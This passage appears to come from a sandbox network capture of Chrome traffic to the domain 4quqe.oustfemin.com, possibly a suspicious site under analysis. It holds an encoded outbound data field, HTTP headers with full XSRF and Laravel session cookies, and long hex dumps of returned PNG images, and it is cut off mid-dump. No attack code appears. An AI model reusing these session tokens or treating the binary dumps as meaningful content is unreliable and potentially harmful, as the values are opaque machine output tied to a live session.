2024-08-23 14:21:58 UTC	121	OUT	Data Raw: 64 61 74 61 3d 68 6e 25 32 46 39 44 4b 6e 4d 4d 64 73 72 58 6a 31 6f 68 7a 6c 31 53 4a 49 75 6f 71 68 41 56 46 48 6f 58 25 32 42 50 76 59 71 65 69 74 4c 43 4d 36 63 42 47 7a 77 38 4f 6a 4a 39 46 71 71 43 55 62 43 6e 59 4f 38 32 4d 6b 41 4a 49 25 32 46 37 75 5a 75 50 6f 47 30 6d 6b 46 4f 43 4e 75 6f 74 51 4b 78 41 35 61 30 77 77 79 53 54 77 78 51 66 59 25 33 44 Data Ascii: data=hn%2F9DKnMMdsrXj1ohzl1SJIuoqhAVFHoX%2BPvYqeitLCM6cBGzw8OjJ9FqqCUbCnYO82MkAJI%2F7uZuPoG0mkFOCNuotQKxA5a0wwySTwxQfY%3D
2024-08-23 14:21:59 UTC	644	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 640 Connection: close vary: Origin access-control-allow-origin: https://4quqe.oustfemin.com CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5bDsWf%2F6dHTdgBWGUFf3YArQj2yXbx4tjMZ1CqwH67C2s1pe6GqfNIMSwqXhX%2FCS%2Bdr3NI5I7%2BlcbuOpnawaFJz3eustE2fSKTpcs3Xdo5G0dIkvNl0odYetFsn5ItNUZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b7bc088ce117cee-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:59 UTC	640	IN	Data Raw: 2b 70 64 4c 71 42 52 79 6f 61 46 67 31 30 67 59 68 2b 51 43 31 35 69 7a 66 30 71 34 34 68 76 4d 4b 55 74 59 57 36 2b 37 75 56 71 6c 31 4e 59 4a 38 61 71 58 66 43 6a 4d 38 42 4c 72 59 4f 6a 63 53 7a 65 33 71 70 69 2b 74 45 7a 43 45 58 41 43 67 2f 53 39 52 62 32 31 35 30 4a 70 48 4c 6c 53 58 43 36 73 34 56 79 30 36 49 55 6a 70 4a 2f 62 62 2f 7a 53 30 62 5a 2f 62 73 39 47 48 72 2b 30 2b 37 48 44 52 78 68 76 39 2f 33 77 41 64 6b 35 58 69 57 52 43 4e 75 4d 62 57 58 7a 44 64 4c 55 32 65 47 71 43 50 59 65 6f 71 6d 44 46 79 72 4e 6d 57 4e 53 52 47 36 68 34 69 39 48 46 57 31 61 53 41 52 64 36 64 78 44 41 45 42 73 46 37 59 41 47 6b 4a 59 4e 2f 35 50 33 6c 39 56 51 44 39 31 64 46 47 47 6e 76 37 4f 78 58 43 6b 64 4d 4b 4a 62 55 68 61 72 75 65 6f 4f 32 4a 6e 32 2b 48 Data Ascii: +pdLqBRyoaFg10gYh+QC15izf0q44hvMKUtYW6+7uVql1NYJ8aqXfCjM8BLrYOjcSze3qpi+tEzCEXACg/S9Rb2150JpHLlSXC6s4Vy06IUjpJ/bb/zS0bZ/bs9GHr+0+7HDRxhv9/3wAdk5XiWRCNuMbWXzDdLU2eGqCPYeoqmDFyrNmWNSRG6h4i9HFW1aSARd6dxDAEBsF7YAGkJYN/5P3l9VQD91dFGGnv7OxXCkdMKJbUharueoO2Jn2+H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.16	49826	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:58 UTC	1136	OUT	GET /ops0dzO1sQtluDIzM8DgPT4dyRUHfrRWMQGo6jgW12jF6nk7DHlM8Qvwgp5QX1Bbzcd239 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:59 UTC	660	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:59 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="ops0dzO1sQtluDIzM8DgPT4dyRUHfrRWMQGo6jgW12jF6nk7DHlM8Qvwgp5QX1Bbzcd239" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rx9vJoYwm0gtGIKWeLNEEX8NMnRXkv1xGK5uA5LotCezsXEgUFQUnR2vTOEFxJU%2FTOkrwClrRQ9lM6gNNO63L7XCNnoPAo6ZabmUCol58tgkWQ3EAaSYaveEDRJeZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc08c2ba27295-EWR
2024-08-23 14:21:59 UTC	709	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 ae e1 c6 95 0b 48 fc 98 90 a5 65 e6 e6 79 e0 e8 52 18 4e 2e Data Ascii: /?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7HeyRN.
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 0b 53 46 f4 a2 0a 0f 66 8c 1a 08 30 a2 57 03 34 23 68 a2 d6 Data Ascii: Mc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CVSFf0W4#h
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 b5 06 54 b1 81 90 9d 3d b2 b9 e7 2b 57 a9 82 35 ab 57 f3 82 Data Ascii: Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^GT=+W5W
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b c7 cd 9e 39 93 ca 2e 5f b1 0a da 86 48 ce 42 27 e5 f2 b9 93 Data Ascii: [\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[9._HB'
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 8e 1e a5 fd 8e 18 39 12 bd 7a f4 d0 0a 26 2d 5b b6 e4 22 23 Data Ascii: 8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq9z&-["#
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa f5 6b da 6f df 61 a3 51 b8 88 3b e2 3f bc a7 b7 e9 9f 44 de Data Ascii: #zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.koaQ;?D
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 5b d9 c7 a3 5e e1 e7 f3 e7 91 90 fc 7d 07 88 be c6 17 6d f6 Data Ascii: oO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J![^}m
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 e7 57 0b cb 97 2f 13 ad ad 9a 62 f6 29 29 96 33 e1 Data Ascii: g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4aW/b))3
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 a7 ad 10 54 37 b9 4e 64 7c 02 3a 1e 3d 86 77 59 3c be d3 96 ae ba 94 cb 88 5e Data Ascii: \|FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gvT7Nd\|:=wY<^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.16	49828	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:59 UTC	1123	OUT	GET /ghegLAzFMXs8vAxA6sos58qgvJiOtXNmn6kZs6KFfeZUS2NgZBRU12205 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:59 UTC	649	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:59 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghegLAzFMXs8vAxA6sos58qgvJiOtXNmn6kZs6KFfeZUS2NgZBRU12205" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p8z4h2qbd5c9Q4h7MpcBuCerW9Xzhy0OF9Fhe%2B3bG3skKFWaQjl2WN4DT7xaFap%2FuK82Eif3EnPYo8DOJENP3w0LyrG1yQJyHL9hhniB4ONVE6D24nwP9x6CJNS37Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc08d8f3d0f71-EWR
2024-08-23 14:21:59 UTC	720	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 24 49 92 24 05 db 88 b4 aa c3 24 e2 27 53 ad d6 6a 02 70 01 b0 Data Ascii: gG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I$I$$'Sjp
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de c0 b1 23 70 13 30 34 3a 48 cd 4d 07 fe 45 7a e2 fc 59 e0 15 e0 Data Ascii: G` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$#p04:HMEzY
2024-08-23 14:21:59 UTC	1369	IN	Data Raw: 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 